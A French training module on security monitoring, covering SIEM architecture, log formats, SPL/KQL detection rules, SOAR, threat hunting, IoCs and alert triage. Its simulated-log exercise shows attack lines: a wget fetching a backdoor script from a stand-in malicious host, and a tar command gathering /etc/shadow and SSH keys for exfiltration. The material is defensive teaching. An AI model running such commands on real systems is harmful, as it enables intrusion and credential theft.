Security Monitoring
Apprends a surveiller les systemes, analyser les logs, utiliser un SIEM et identifier les indicateurs de compromission pour detecter les menaces.
- Comprendre l'importance de la surveillance securite
- Connaitre le fonctionnement d'un SIEM
- Identifier les sources de logs et savoir les analyser
- Distinguer les IoC des IoA et maitriser le triage des alertes
👁️ 14.1 — Pourquoi surveiller ? (Security Monitoring)
La surveillance de securite est le processus continu de collecte, d'analyse et d'interpretation des evenements de securite pour detecter les menaces et y repondre rapidement.
Imagine un systeme de cameras de surveillance dans un musee. Les cameras seules ne suffisent pas : il faut quelqu'un qui regarde les ecrans, qui sait reconnaitre un comportement suspect, et qui peut alerter les gardes. En cybersecurite, le monitoring est ce systeme de cameras + l'equipe de surveillance.
Les 4 raisons fondamentales
Detection precoce
Identifier les menaces avant qu'elles ne causent des degats majeurs. Rappel : le temps moyen de detection est de ~200 jours. L'objectif est de reduire ce delai drastiquement.
Conformite (Compliance)
Respecter les obligations legales et reglementaires : RGPD, PCI DSS, HIPAA, SOX. Ces reglementations exigent la journalisation et la surveillance des acces.
Forensics
En cas d'incident, les logs sont les preuves numeriques qui permettent de reconstituer ce qui s'est passe, quand, comment et par qui.
Amelioration continue
Analyser les tendances, identifier les faiblesses recurrentes et ameliorer la posture de securite au fil du temps.
🖥️ 14.2 — SIEM (Security Information and Event Management)
Un SIEM est la plateforme centrale de la surveillance de securite. Il collecte, normalise, correle et analyse les evenements de securite provenant de toutes les sources du reseau.
Le SIEM, c'est comme le centre de controle d'un aeroport. Il recoit les informations de tous les radars, cameras, tours de controle et capteurs. Il les affiche sur un tableau de bord unifie, detecte les anomalies et alerte les controleurs en cas de probleme. Sans ce centre, chaque source serait isolee et il serait impossible d'avoir une vue d'ensemble.
Architecture d'un SIEM
Un SIEM d'entreprise est compose de plusieurs couches fonctionnelles qui travaillent ensemble :
Agents, Syslog receivers, API connectors, WEF (Windows Event Forwarding), SNMP traps. Deployes au plus pres des sources pour recevoir les logs en temps reel.
Concentrent les logs provenant de multiples collecteurs, appliquent le parsing/normalisation, filtrent le bruit et transmettent les evenements utiles. Permettent de reduire la charge sur le moteur central. Exemples : Logstash, Fluentd, rsyslog.
Le cerveau du SIEM. Il execute les regles de correlation, les modeles statistiques, le machine learning (UEBA) et le threat intelligence matching pour detecter les menaces. Traite des millions d'evenements par seconde (EPS).
Base de donnees indexee pour les recherches rapides (hot storage) et archivage longue duree (cold storage). Elasticsearch, Splunk indexers, ou bases proprietaires. Retention typique : 90 jours hot, 1-7 ans cold.
Interface web pour les analystes SOC : tableaux de bord temps reel, visualisation des alertes, recherche ad-hoc, rapports de conformite. Notifications via email, SMS, tickets ITSM, Slack/Teams, SOAR.
Log Pipeline : de la source a l'alerte
Le traitement d'un log dans un SIEM suit un pipeline precis en 5 etapes :
Le SIEM collecte les logs et evenements de toutes les sources : firewalls, serveurs, endpoints, applications, IDS/IPS, Active Directory...
Methodes : Syslog (UDP/TCP/TLS 514), agents installes, API REST, SNMP traps, Windows Event Forwarding (WEF), database polling, cloud connectors (AWS CloudTrail, Azure Activity Log).
Volume : Un SIEM d'entreprise peut ingerer des millions d'evenements par seconde (EPS). Un grand SOC traite 50 000 a 100 000+ EPS.
Les logs arrivent dans des formats differents. Le SIEM les normalise dans un schema commun (Common Information Model / CIM) pour pouvoir les comparer et les correler.
Exemple : Un log firewall Cisco et un log firewall Palo Alto decrivent le meme type d'evenement (connexion bloquee) mais dans des formats completement differents. Le SIEM les traduit dans un format unifie avec des champs normalises : src_ip, dst_ip, action, severity.
Parsers : Regex, Grok patterns, XML parsing, JSON extraction, CEF/LEEF decoders.
Ajout d'informations contextuelles aux evenements pour faciliter l'analyse :
- GeoIP : localisation geographique de l'IP source/destination
- Threat Intelligence : l'IP/domaine/hash est-il connu comme malveillant ?
- Asset inventory : a qui appartient cette IP interne ? Quel OS, quel role ?
- User context : quel utilisateur, quel departement, quel niveau de privilege ?
- Reputation : score de confiance de la source (VirusTotal, AbuseIPDB)
Le coeur du SIEM : croiser les evenements de differentes sources pour detecter des schemas d'attaque.
Exemple : Seul, un echec de login n'est pas alarmant. Mais 50 echecs de login suivis d'un succes, puis un acces a un fichier sensible, puis un transfert de donnees vers l'exterieur = pattern d'attaque.
Types de correlation : regles basees sur des seuils, sequences d'evenements, detection statistique d'anomalies, UEBA (User and Entity Behavior Analytics), threat intelligence matching.
Quand une correlation detecte un comportement suspect, le SIEM genere une alerte pour l'equipe SOC.
Dashboards : Vues en temps reel de la posture de securite, top des alertes, tendances, heat maps.
Notifications : Email, SMS, ticket ITSM (ServiceNow, Jira), integration Slack/Teams, webhook SOAR.
Priorite automatique : Le SIEM peut auto-classifier la severite en fonction du contexte (asset critique, utilisateur VIP, IoC connu).
SPL et KQL : les langages de requete SIEM
Chaque SIEM a son propre langage de requete. Les deux plus importants pour l'examen et la pratique :
SPL (Search Processing Language) — Splunk
SPL est un langage pipe-based : chaque commande transmet son resultat a la suivante via le pipe |.
// Recherche basique : echecs de login SSH index=auth sourcetype=sshd "Failed password" | stats count by src_ip | where count > 10 | sort -count // Detecter des connexions vers des IP malveillantes index=firewall action=allowed dest_ip IN (lookup malicious_ips) | table _time, src_ip, dest_ip, dest_port, bytes // Top 10 des utilisateurs avec le plus d'echecs de login index=auth "failed login" | stats count as failures by user | sort -failures | head 10 // Timeline des evenements pour un hote suspect index=* src_ip="10.0.1.45" OR dest_ip="10.0.1.45" | sort _time | table _time, sourcetype, src_ip, dest_ip, action, user
KQL (Kusto Query Language) — Microsoft Sentinel
KQL est utilise dans Microsoft Sentinel, Azure Monitor et Microsoft Defender. Syntaxe tabulaire avec des operateurs de pipeline.
// Echecs de login dans les dernieres 24h SigninLogs | where ResultType != "0" | where TimeGenerated > ago(24h) | summarize FailureCount=count() by UserPrincipalName, IPAddress | where FailureCount > 10 | order by FailureCount desc // Connexions depuis des pays inhabituels SigninLogs | where Location !in ("FR", "BE", "CH") | where ResultType == "0" | project TimeGenerated, UserPrincipalName, IPAddress, Location // Processus suspects sur les endpoints DeviceProcessEvents | where FileName in ("powershell.exe", "cmd.exe", "wscript.exe") | where ProcessCommandLine has_any ("encoded", "bypass", "hidden") | project Timestamp, DeviceName, FileName, ProcessCommandLine
Solutions SIEM populaires
| Solution | Type | Langage | Points forts |
|---|---|---|---|
| Splunk | Commercial | SPL | Puissant, flexible, large ecosysteme, marketplace d'apps |
| IBM QRadar | Commercial | AQL | Correlation avancee, integration threat intelligence, UEBA |
| Elastic SIEM | Open Source / Commercial | KQL / Lucene | Base sur Elasticsearch, gratuit pour les fonctions de base, scalable |
| Wazuh | Open Source | Rules XML | Gratuit, agents multiplateforme, detection d'intrusion, conformite |
| Microsoft Sentinel | Cloud (Azure) | KQL | Integration native Azure/M365, SOAR integre, analytics rules |
| Google Chronicle | Cloud (GCP) | YARA-L | Stockage massif inclus, detection rules, integration VirusTotal |
📊 14.3 — Sources de logs
Chaque composant du reseau genere des logs qui revelent des informations differentes. Un analyste SOC doit savoir ou chercher et quoi chercher.
| Source | Type de logs | Ce qu'ils revelent | Exemples de detection |
|---|---|---|---|
| Firewall | Trafic autorise/bloque | Connexions entrantes/sortantes, ports utilises, IP sources | Connexion vers un C2 connu, scan de ports, trafic anormal |
| IDS/IPS | Alertes d'intrusion | Tentatives d'exploitation, signatures de malware dans le trafic | Exploit tentative, shellcode detecte, pattern de brute force |
| Proxy Web | Requetes HTTP/HTTPS | Sites visites, telechargements, categories de contenu | Acces a un site de phishing, telechargement de malware |
| Serveurs (OS) | Evenements systeme | Demarrages, arrets, erreurs, modifications de configuration | Redemarrage inattendu, modification de fichiers systeme |
| Endpoints (EDR) | Activite des postes de travail | Processus executes, fichiers modifies, connexions reseau | Execution de PowerShell suspect, processus enfant inhabituel |
| Applications | Logs applicatifs | Erreurs, transactions, acces aux fonctionnalites | Injection SQL, tentative d'acces a une API non autorisee |
| Authentification | Connexions/deconnexions | Qui se connecte, quand, d'ou, succes/echecs | Brute force, connexion depuis un pays inhabitual, compte compromis |
| DNS | Requetes de resolution | Domaines resolus, frequence, volumes | DNS tunneling, domaines DGA (algorithmiques), C2 communication |
| Email Gateway | Emails entrants/sortants | Expediteurs, pieces jointes, liens, spam score | Phishing, malware en piece jointe, exfiltration par email |
Formats de logs standards
Un analyste SOC doit reconnaitre les principaux formats de log rencontres dans un SIEM :
Syslog — RFC 5424
Format standard universel pour la transmission de logs. Utilise par les equipements reseau (routers, switches, firewalls) et les systemes Unix/Linux.
// Structure RFC 5424 : <priority>VERSION TIMESTAMP HOSTNAME APP-NAME PROCID MSGID [STRUCTURED-DATA] MSG // Exemple concret : <34>1 2026-02-23T14:32:15.003Z firewall01 sshd 12345 ID47 [exampleSDID@32473 iut="3" eventSource="Application"] Failed password for admin from 192.168.1.100 port 22 ssh2 // Priority = Facility * 8 + Severity // 34 = 4 (auth) * 8 + 2 (critical) // Severity : 0=Emergency, 1=Alert, 2=Critical, 3=Error, // 4=Warning, 5=Notice, 6=Info, 7=Debug
Transport : UDP/514 (historique), TCP/514 (fiable), TCP/6514 (TLS chiffre).
Windows Event Log (XML)
Format natif Windows utilise par l'Event Viewer. Chaque evenement est structure en XML avec des champs standardises.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" />
<EventID>4625</EventID>
<Level>0</Level>
<TimeCreated SystemTime="2026-02-23T14:32:15.123Z" />
<Computer>DC01.corp.local</Computer>
</System>
<EventData>
<Data Name="TargetUserName">admin</Data>
<Data Name="IpAddress">192.168.1.100</Data>
<Data Name="LogonType">10</Data>
<Data Name="FailureReason">%%2313</Data>
</EventData>
</Event>
Event IDs cles : 4624 (logon success), 4625 (logon failure), 4648 (explicit credentials), 4672 (special privileges), 4720 (account created), 4732 (member added to group), 7045 (service installed).
CEF (Common Event Format)
Format standardise par ArcSight (Micro Focus). Tres courant dans les SIEM commerciaux. Structure en pipe-separated values.
// Structure CEF : CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|Extension // Exemple concret : CEF:0|Fortinet|FortiGate|7.0|1234|Brute Force Detected|8| src=192.168.1.100 dst=10.0.0.5 spt=54321 dpt=22 proto=TCP act=blocked cnt=50 msg=Multiple failed SSH logins // Severity : 0-3 Low, 4-6 Medium, 7-8 High, 9-10 Critical
Avantage : format universel reconnu par la plupart des SIEM. Facilite l'integration multi-vendeurs.
LEEF (Log Event Extended Format)
Format developpe par IBM pour QRadar. Similaire au CEF mais avec une structure tab-separated.
// Structure LEEF : LEEF:Version|Vendor|Product|Version|EventID| (tab-separated extensions) // Exemple concret : LEEF:2.0|Microsoft|MSExchange|15.0|1234| src=192.168.1.50 dst=10.0.0.10 srcPort=443 dstPort=25 proto=TCP usrName=john.doe action=SendMail severity=3
Usage : principalement utilise avec IBM QRadar. Le separateur est un caractere tab.
JSON (JavaScript Object Notation)
Format moderne utilise par les API, les applications cloud, Elastic, et de plus en plus d'equipements.
{
"timestamp": "2026-02-23T14:32:15.003Z",
"source": "firewall-01",
"event_type": "connection_blocked",
"severity": "high",
"src_ip": "203.0.113.45",
"dst_ip": "10.0.1.20",
"src_port": 54321,
"dst_port": 22,
"protocol": "TCP",
"action": "DENY",
"rule_id": "ACL-1042",
"bytes_sent": 0,
"geo_src": { "country": "RU", "city": "Moscow" },
"threat_intel": { "match": true, "feed": "AbuseIPDB", "score": 95 }
}
Avantage : structure flexible, hierarchique (objets imbriques), facile a parser, natif pour Elastic/Splunk/Sentinel.
🔍 14.4 — Analyse de logs
L'analyse de logs est l'activite quotidienne principale d'un analyste SOC. Elle consiste a transformer des donnees brutes en informations exploitables.
Parsing (analyse syntaxique)
Extraire les champs pertinents d'un log brut pour le rendre lisible et exploitable.
Log brut :
Feb 22 14:32:15 webserver sshd[12345]: Failed password for admin from 192.168.1.100 port 22 ssh2
Champs extraits :
| Date/heure | Feb 22 14:32:15 |
| Source | webserver |
| Service | sshd |
| Evenement | Failed password |
| Utilisateur | admin |
| IP source | 192.168.1.100 |
| Port | 22 |
Filtrage
Reduire le bruit en se concentrant sur les evenements pertinents.
- Par severite : Se concentrer sur les alertes critiques et hautes
- Par source IP : Filtrer le trafic d'une IP suspecte
- Par type d'evenement : Authentification echouee, acces refuse
- Par periode : Analyser une fenetre de temps specifique
- Exclusion : Eliminer les evenements connus comme inoffensifs (whitelisting)
Exemple Splunk SPL :
index=auth sourcetype=sshd "Failed password" | stats count by src_ip | where count > 10 | sort -count
Correlation d'evenements
Relier des evenements de differentes sources pour identifier un scenario d'attaque.
- 14:30 — Log IDS : scan de ports detecte depuis 10.0.0.50
- 14:35 — Log Firewall : 10.0.0.50 se connecte au port 445 (SMB) du serveur
- 14:36 — Log Auth : 15 echecs de connexion SMB sur le serveur
- 14:37 — Log Auth : connexion SMB reussie avec le compte "admin"
- 14:40 — Log EDR : execution de PowerShell encoded sur le serveur
- 14:45 — Log Proxy : connexion sortante vers un domaine suspect
Conclusion : Scan → Brute force SMB → Compromission → Execution malveillante → Communication C2. Incident confirme.
Timeline Analysis
Reconstituer la chronologie complete d'un incident a partir de logs multiples.
- Etape 1 : Synchronisation temporelle — S'assurer que toutes les sources utilisent le meme fuseau horaire (NTP)
- Etape 2 : Pivot — Partir de l'alerte initiale et remonter dans le temps
- Etape 3 : Expansion — Chercher d'autres indicateurs autour de la meme periode
- Etape 4 : Construction — Creer une frise chronologique des evenements
- Etape 5 : Validation — Verifier la coherence du scenario reconstitue
La timeline analysis est essentielle pour le forensics et le rapport d'incident.
🔗 14.4b — Regles de correlation : exemples concrets
Les regles de correlation sont le coeur de la detection SIEM. Elles definissent des conditions logiques qui, lorsqu'elles sont remplies, declenchent une alerte. Voici les types de regles les plus courants avec des exemples concrets.
Exemples de regles de correlation
Logique : 5+ echecs de login pour le meme compte dans une fenetre de 60 secondes, depuis la meme IP source.
// Regle Splunk SPL : index=auth ("Failed password" OR EventCode=4625) | bin _time span=60s | stats count as failures by src_ip, user, _time | where failures >= 5 // Regle KQL (Sentinel) : SigninLogs | where ResultType != "0" | summarize FailCount=count() by IPAddress, UserPrincipalName, bin(TimeGenerated, 1m) | where FailCount >= 5
Severite : P3 Medium (brute force simple) a P2 High (si suivi d'un succes de login).
False positive possible : utilisateur qui a oublie son mot de passe, script d'automatisation mal configure.
Logique : Un meme compte se connecte avec succes a 3+ machines differentes dans une fenetre de 10 minutes, utilisant RDP (3389), SMB (445) ou WinRM (5985).
// Regle SPL : index=auth (EventCode=4624 LogonType IN (3,10)) | bin _time span=10m | stats dc(dest_host) as unique_hosts values(dest_host) as hosts by user, src_ip, _time | where unique_hosts >= 3 // Regle KQL : SecurityEvent | where EventID == 4624 and LogonType in (3, 10) | summarize HostCount=dcount(Computer), Hosts=make_set(Computer) by Account, IpAddress, bin(TimeGenerated, 10m) | where HostCount >= 3
Severite : P2 High — indique un attaquant qui se deplace dans le reseau apres une compromission initiale.
False positive possible : administrateur systeme qui effectue une maintenance sur plusieurs serveurs.
Logique : Volume de donnees sortantes (outbound) superieur a 500 Mo en 1 heure depuis un seul hote vers une IP externe non categorisee.
// Regle SPL : index=firewall action=allowed direction=outbound NOT [| inputlookup trusted_destinations] | bin _time span=1h | stats sum(bytes_out) as total_bytes by src_ip, dest_ip, _time | where total_bytes > 524288000 | eval total_MB=round(total_bytes/1048576,2) // Variante DNS exfiltration : index=dns query_type=TXT OR query_length>50 | stats count as queries, avg(query_length) as avg_len by src_ip, query_domain | where queries > 100 AND avg_len > 40
Severite : P1 Critical si depuis un serveur de base de donnees. P2 High pour un poste de travail.
Indicateurs additionnels : transfert en dehors des heures de bureau, destination dans un pays a risque, protocole inhabituel (DNS, ICMP).
Logique : Un utilisateur non-administrateur est ajoute a un groupe privilegie (Domain Admins, Administrators) en dehors d'un change request approuve.
// Windows Event IDs surveilles : // 4728 = member added to security-enabled global group // 4732 = member added to security-enabled local group // 4756 = member added to security-enabled universal group index=winevent (EventCode=4728 OR EventCode=4732 OR EventCode=4756) GroupName IN ("Domain Admins", "Enterprise Admins", "Administrators") | table _time, SubjectUserName, MemberName, GroupName, ComputerName
Severite : P1 Critical — ajout non autorise a un groupe administrateur est un indicateur fort de compromission.
Logique : Un hote effectue des connexions sortantes regulieres (meme intervalle +/- jitter) vers la meme destination externe, avec des tailles de paquets similaires.
// Detection par regularite temporelle (SPL) : index=proxy OR index=firewall action=allowed direction=outbound | sort src_ip, dest_ip, _time | streamstats current=f last(_time) as prev_time by src_ip, dest_ip | eval interval=_time-prev_time | stats count, stdev(interval) as jitter, avg(interval) as avg_interval by src_ip, dest_ip | where count > 50 AND jitter < 5 AND avg_interval < 300 // Un jitter faible (< 5s) avec un intervalle moyen regulier // indique un beaconing automatise.
Severite : P2 High — communication C2 active, potentiellement un malware qui attend des commandes.
Outils : RITA (Real Intelligence Threat Analytics), Zeek + analysis scripts.
Logique : Un meme utilisateur se connecte depuis 2 localisations geographiques incompatibles dans un delai trop court (ex : Paris puis New York en 30 minutes).
// KQL (Sentinel) :
SigninLogs
| where ResultType == "0"
| sort by UserPrincipalName, TimeGenerated asc
| extend PrevLocation = prev(Location), PrevTime = prev(TimeGenerated)
| extend TimeDiffMinutes = datetime_diff('minute', TimeGenerated, PrevTime)
| where Location != PrevLocation and TimeDiffMinutes < 120
| project TimeGenerated, UserPrincipalName, Location, PrevLocation, TimeDiffMinutes
Severite : P2 High — indique probablement un compte compromis utilise depuis un autre pays.
🤖 14.4c — SOAR (Security Orchestration, Automation and Response)
Le SOAR est le complement naturel du SIEM. La ou le SIEM detecte, le SOAR automatise la reponse. Un SOAR orchestre les outils de securite, automatise les taches repetitives et gere les incidents de bout en bout.
Si le SIEM est le systeme d'alarme incendie qui detecte le feu, le SOAR est le systeme automatise qui appelle les pompiers, ferme les portes coupe-feu, active les sprinklers et genere le rapport d'incident — tout cela automatiquement.
Les 3 piliers du SOAR
Orchestration
Connecter et coordonner les differents outils de securite : SIEM, EDR, firewall, threat intel, ticketing, email. Le SOAR agit comme un chef d'orchestre qui fait travailler tous les instruments ensemble.
Automation
Automatiser les taches repetitives et chronophages : enrichissement d'IoC, blocage d'IP, isolation de machines, envoi de notifications, creation de tickets. Reduit le MTTR (Mean Time To Respond) de heures a minutes.
Response (Case Management)
Gerer les incidents de A a Z : assignation, suivi, documentation, metriques, post-mortem. Un incident tracker centralise qui garantit qu'aucune alerte n'est oubliee.
Exemple de Playbook SOAR : Phishing Email
- Extraire les URLs et pieces jointes du mail
- Verifier les URLs sur VirusTotal, URLhaus, Google Safe Browsing
- Verifier le hash des pieces jointes sur VirusTotal, Hybrid Analysis
- Verifier la reputation de l'expediteur (SPF, DKIM, DMARC)
- Si malveillant confirme (score > seuil) → actions automatiques
- Si suspect (score intermediaire) → escalade a l'analyste pour decision
- Si benin → clore automatiquement avec documentation
- Supprimer le mail de toutes les boites de reception (clawback)
- Bloquer l'URL/domaine sur le proxy et le firewall
- Bloquer le hash de la piece jointe sur l'EDR
- Isoler les postes qui ont clique sur le lien
- Creer un ticket d'incident avec tous les IoC
- Notifier l'equipe SOC et le management si necessaire
- Mettre a jour les listes de blocage et les regles de detection
Solutions SOAR populaires
| Solution | Integration SIEM | Points forts |
|---|---|---|
| Splunk SOAR (Phantom) | Splunk | 400+ integrations, playbook visual editor, community playbooks |
| Microsoft Sentinel + Logic Apps | Sentinel | SOAR natif dans le SIEM, integrations Azure, templates de playbooks |
| Palo Alto XSOAR (Demisto) | Multi-SIEM | War room collaboratif, marketplace d'integrations, ML-assisted |
| IBM Resilient (QRadar SOAR) | QRadar | Workflows de reponse, case management avance, conformite |
| Shuffle (Open Source) | Multi-SIEM | Gratuit, workflows visuels, API-first, self-hosted |
| TheHive + Cortex | Multi-SIEM | Open source, case management, analyseurs automatiques (Cortex) |
🎯 14.4d — Threat Hunting (Chasse aux menaces)
Le Threat Hunting est la recherche proactive de menaces qui ont echappe aux systemes de detection automatises (SIEM, IDS, EDR). Contrairement au monitoring passif qui attend les alertes, le hunter cherche activement les signes de compromission.
Le monitoring, c'est un filet de peche passif qui attrape ce qui passe. Le threat hunting, c'est un plongeur avec un harpon qui cherche activement le poisson sous les rochers.
Les 4 approches du Threat Hunting
Hypothesis-Driven
L'analyste formule une hypothese basee sur sa connaissance des menaces et la cherche dans les donnees.
Exemple : "Un attaquant pourrait utiliser PowerShell encode pour executer des commandes sur nos serveurs Windows."
Recherche : Chercher les executions PowerShell avec les parametres -EncodedCommand, -Bypass, -Hidden.
IoC-Driven
Recherche dans les logs historiques des IoC (indicateurs de compromission) publies par des sources de threat intelligence.
Exemple : Un rapport CERT signale une campagne APT utilisant le domaine update-service[.]xyz. Le hunter cherche toute connexion vers ce domaine dans les 90 derniers jours.
Anomaly-Based
Rechercher les ecarts par rapport a la baseline normale : comportements inhabituels, outliers statistiques.
Exemple : Identifier les comptes utilisateurs qui se connectent a des heures inhabituelles, ou les machines qui communiquent avec des destinations jamais vues auparavant.
MITRE ATT&CK-Based
Utiliser le framework MITRE ATT&CK pour systematiquement verifier la couverture de detection de chaque technique.
Exemple : Verifier la technique T1053 (Scheduled Task) : chercher les taches planifiees creees recemment, surtout celles executant des scripts ou des binaires inhabituels.
Le cycle du Threat Hunting
📏 14.4e — Etablir une Baseline
Une baseline est le profil du comportement "normal" d'un reseau, d'un hote ou d'un utilisateur. Sans baseline, il est impossible de detecter les anomalies — car on ne sait pas ce qui est anormal si on ne connait pas ce qui est normal.
Les 3 types de baseline
| Type | Ce qui est mesure | Exemples de metriques | Anomalie typique |
|---|---|---|---|
| Network Baseline | Comportement normal du trafic reseau | Volume par protocole/heure, top destinations, ratio in/out, latence moyenne, distribution des ports | Pic de trafic DNS la nuit, volume sortant 10x superieur a la normale, nouveau protocole inattendu |
| Host Baseline | Comportement normal d'un serveur ou poste | Processus habituels, services actifs, connexions reseau, utilisation CPU/RAM, fichiers modifies | Nouveau processus inconnu, service arrete, connexion vers une IP jamais vue, utilisation CPU a 100% |
| User Baseline | Comportement normal d'un utilisateur | Horaires de connexion, applications utilisees, volumes de donnees accedes, localisation geographique | Connexion a 3h du matin, acces a des fichiers hors perimetre, connexion depuis un pays etranger |
Comment etablir une baseline
- Collecte (2-4 semaines) : Enregistrer les metriques sur une periode representative incluant jours ouvrables, week-ends, et eventuellement une fin de mois (periode souvent plus active).
- Analyse statistique : Calculer les moyennes, medianes, ecarts-types et percentiles (P95, P99) pour chaque metrique.
- Definition des seuils : Definir les seuils d'alerte (ex : alerte si le trafic DNS depasse 3 ecarts-types au-dessus de la moyenne).
- Validation : Tester les seuils pendant 1-2 semaines. Ajuster pour reduire les faux positifs sans augmenter les faux negatifs.
- Mise a jour continue : La baseline doit evoluer avec l'infrastructure. Reviser trimestriellement ou apres chaque changement majeur.
🚩 14.5 — Indicateurs de compromission (IoC)
Un IoC (Indicator of Compromise) est un artefact observe sur un systeme ou un reseau qui indique, avec un degre de confiance eleve, qu'une compromission a eu lieu.
Les IoC sont comme des indices sur une scene de crime. Des empreintes digitales (hash de fichier), une plaque d'immatriculation (adresse IP), un modus operandi (pattern de comportement)... Chaque indice seul peut etre insuffisant, mais combines, ils permettent d'identifier le coupable.
Types d'IoC
| Type d'IoC | Description | Exemple | Source typique |
|---|---|---|---|
| Adresse IP | IP associee a des activites malveillantes | 185.220.101.42 (serveur C2 connu) | Threat intelligence feeds, logs firewall |
| Hash de fichier | Empreinte unique d'un fichier malveillant (MD5, SHA-256) | d41d8cd98f00b204e9800998ecf8427e | VirusTotal, analyse de malware |
| Nom de domaine | Domaine utilise pour le phishing ou le C2 | evil-update-server[.]com | Threat intel, logs DNS/proxy |
| URL | URL specifique contenant du malware ou du phishing | hxxp://example[.]com/malware.exe | Logs proxy, email gateway |
| Pattern comportemental | Comportement anormal revelateur | Beaconing regulier toutes les 60 secondes | Analyse de trafic, EDR |
| Cle de registre | Modification du registre Windows pour la persistance | HKLM\Software\Microsoft\Windows\CurrentVersion\Run | EDR, forensics |
IoC vs IoA (Indicator of Attack)
IoC (Indicator of Compromise)
- Evidence apres une compromission
- Reactif — la compromission a deja eu lieu
- Base sur des artefacts connus (hash, IP, domaine)
- Equivalent : traces du cambrioleur apres le vol
IoA (Indicator of Attack)
- Signaux pendant une attaque en cours
- Proactif — detection en temps reel
- Base sur des comportements (execution suspecte, mouvement lateral)
- Equivalent : le cambrioleur en train d'escalader le mur
⚡ 14.6 — Alertes et triage
Un SIEM genere des milliers d'alertes par jour. Le triage est le processus qui permet de prioriser et de traiter ces alertes efficacement.
Niveaux de severite avec SLA
| Niveau | Severite | Description | SLA Reponse | SLA Resolution | Action requise |
|---|---|---|---|---|---|
| P1 | Critique | Compromission active, exfiltration de donnees, ransomware, breach confirmee | 15 min | 4 heures | Reponse immediate, escalade Tier 3 + management, all-hands, bridge call, containment immediat |
| P2 | Haute | Tentative d'exploitation reussie, malware detecte, lateral movement, C2 actif | 30 min | 8 heures | Investigation immediate Tier 2, containment, threat intel lookup, escalade si confirme |
| P3 | Moyenne | Activite suspecte, violation de politique, brute force bloque, scan detecte | 4 heures | 24 heures | Investigation Tier 1 dans la journee, enrichissement, documentation |
| P4 | Basse | Evenement informatif, anomalie mineure, configuration drift | 24 heures | 72 heures | Revision lors du prochain cycle, documentation, possible tuning de regle |
La matrice de classification des alertes
Imagine un detecteur de fumee. Parfois il sonne pour un vrai incendie (true positive), parfois pour un toast brule (false positive). L'objectif est de minimiser les fausses alertes tout en ne ratant aucun vrai incendie.
| Menace reelle PRESENTE | Menace reelle ABSENTE | |
|---|---|---|
| Alerte DECLENCHEE | True Positive (TP) Alerte correcte — menace reelle detectee |
False Positive (FP) Fausse alerte — pas de menace reelle |
| Alerte NON declenchee | False Negative (FN) Menace manquee — le plus dangereux ! |
True Negative (TN) Silence correct — pas de menace, pas d'alerte |
Workflow de triage SOC detaille
L'alerte apparait dans la console SIEM avec sa severite, sa source et sa description. L'analyste l'assigne a lui-meme (claim) pour eviter le travail en doublon.
L'analyste Tier 1 evalue rapidement l'alerte. Questions a se poser :
- Cette alerte a-t-elle deja ete vue ? (historique, known false positive)
- L'asset concerne est-il critique ? (serveur de production, DC, base de donnees)
- L'IP source est-elle connue ? (interne, partenaire, threat intel match)
- Le timing est-il suspect ? (hors heures de bureau, week-end)
True Positive (TP) : Menace confirmee → continuer l'investigation.
False Positive (FP) : Fausse alerte → documenter, fermer, tuner la regle.
Benign True Positive (BTP) : Activite reelle mais autorisee (ex : pen test prevu) → documenter et fermer.
Si incertain, traiter comme un TP par precaution.
Si TP confirme ou suspecte : collecte de logs additionnels, pivot sur l'IP/user/host concerne, analyse de trafic reseau, verification des endpoints via EDR. Enrichissement avec la threat intelligence (VirusTotal, AbuseIPDB, MITRE ATT&CK mapping).
Objectif : Determiner le scope complet — quels systemes sont touches, quel est l'impact.
Tier 1 → Tier 2 : Incident confirme necessitant une investigation plus poussee.
Tier 2 → Tier 3 : Incident complexe, APT suspectee, forensics necessaire.
Tier 3 → Management / CISO : Breach confirmee, impact business, notification legale requise.
Actions immediates pour limiter l'impact : isoler la machine compromise, bloquer l'IP/domaine C2, desactiver le compte compromis, revoquer les sessions actives.
Principe : Contenir d'abord, investiguer ensuite. Mieux vaut sur-reagir que laisser l'attaquant poursuivre.
Documenter tout : timeline des evenements, IoC trouves, actions prises, decisions et justifications, systemes impactes, lecons apprises. Mettre a jour les playbooks et les regles de detection. Fermer le ticket avec la classification finale.
🔬 14.7 — Exercice : Analyse d'un log simule
Analyse la sequence de logs suivante et identifie le type d'incident. Fais glisser la bonne reponse :
Sequence de logs observee :
[14:01:03] AUTH - Failed login for user "admin" from 203.0.113.45 (SSH) [14:01:05] AUTH - Failed login for user "admin" from 203.0.113.45 (SSH) [14:01:07] AUTH - Failed login for user "root" from 203.0.113.45 (SSH) [14:01:09] AUTH - Failed login for user "administrator" from 203.0.113.45 (SSH) ... (repeated 150 times in 3 minutes with different usernames) [14:04:22] AUTH - Successful login for user "deploy" from 203.0.113.45 (SSH) [14:04:45] EDR - New process: /bin/bash spawned by sshd (user: deploy) [14:05:12] EDR - Suspicious: wget http://evil-server[.]com/backdoor.sh [14:05:15] EDR - File created: /tmp/.hidden_backdoor.sh [14:05:18] EDR - Process execution: /bin/bash /tmp/.hidden_backdoor.sh [14:06:01] FW - Outbound connection to 198.51.100.77:4444 (ALLOW) [14:06:03] DNS - Query for c2-controller[.]evil-domain[.]com [14:10:30] EDR - Suspicious: tar czf /tmp/data.tar.gz /etc/shadow /home/*/.ssh/ [14:11:00] FW - Large outbound transfer to 198.51.100.77 (2.3 GB)
🔨 Brute Force
🔓 Compromission
🦠 Malware
📡 Comm. C2
📤 Exfiltration
🤝 14.8 — Partage d'informations et outils de securite
CISA et l'Automated Indicator Sharing (AIS)
La CISA (Cybersecurity and Infrastructure Security Agency) est l'agence americaine chargee de la cybersecurite nationale. Son programme AIS (Automated Indicator Sharing) est un systeme automatise qui permet le partage bidirectionnel d'indicateurs de menaces cyber entre le gouvernement et le secteur prive.
| Programme | Organisation | Fonction |
|---|---|---|
| AIS | CISA (USA) | Partage automatise d'indicateurs de menaces via STIX/TAXII |
| ENISA | Union Europeenne | Agence europeenne de cybersecurite — coordination, standards, rapports |
| NCSA | USA (sensibilisation) | National Cyber Security Alliance — education du public |
Solutions de monitoring reseau : comparaison
Trois solutions complementaires sont utilisees pour surveiller le trafic reseau :
| Solution | Role | Fonctionnement |
|---|---|---|
| IDS/IPS | Detection et prevention d'intrusions | Compare le trafic a des regles configurees (signatures, anomalies) et genere des alertes (IDS) ou bloque le trafic (IPS) |
| SPAN (Port Mirroring) | Copie du trafic pour analyse | Copie le trafic recu sur un port du switch vers un autre port connecte a un analyseur (aucun filtrage, simple copie) |
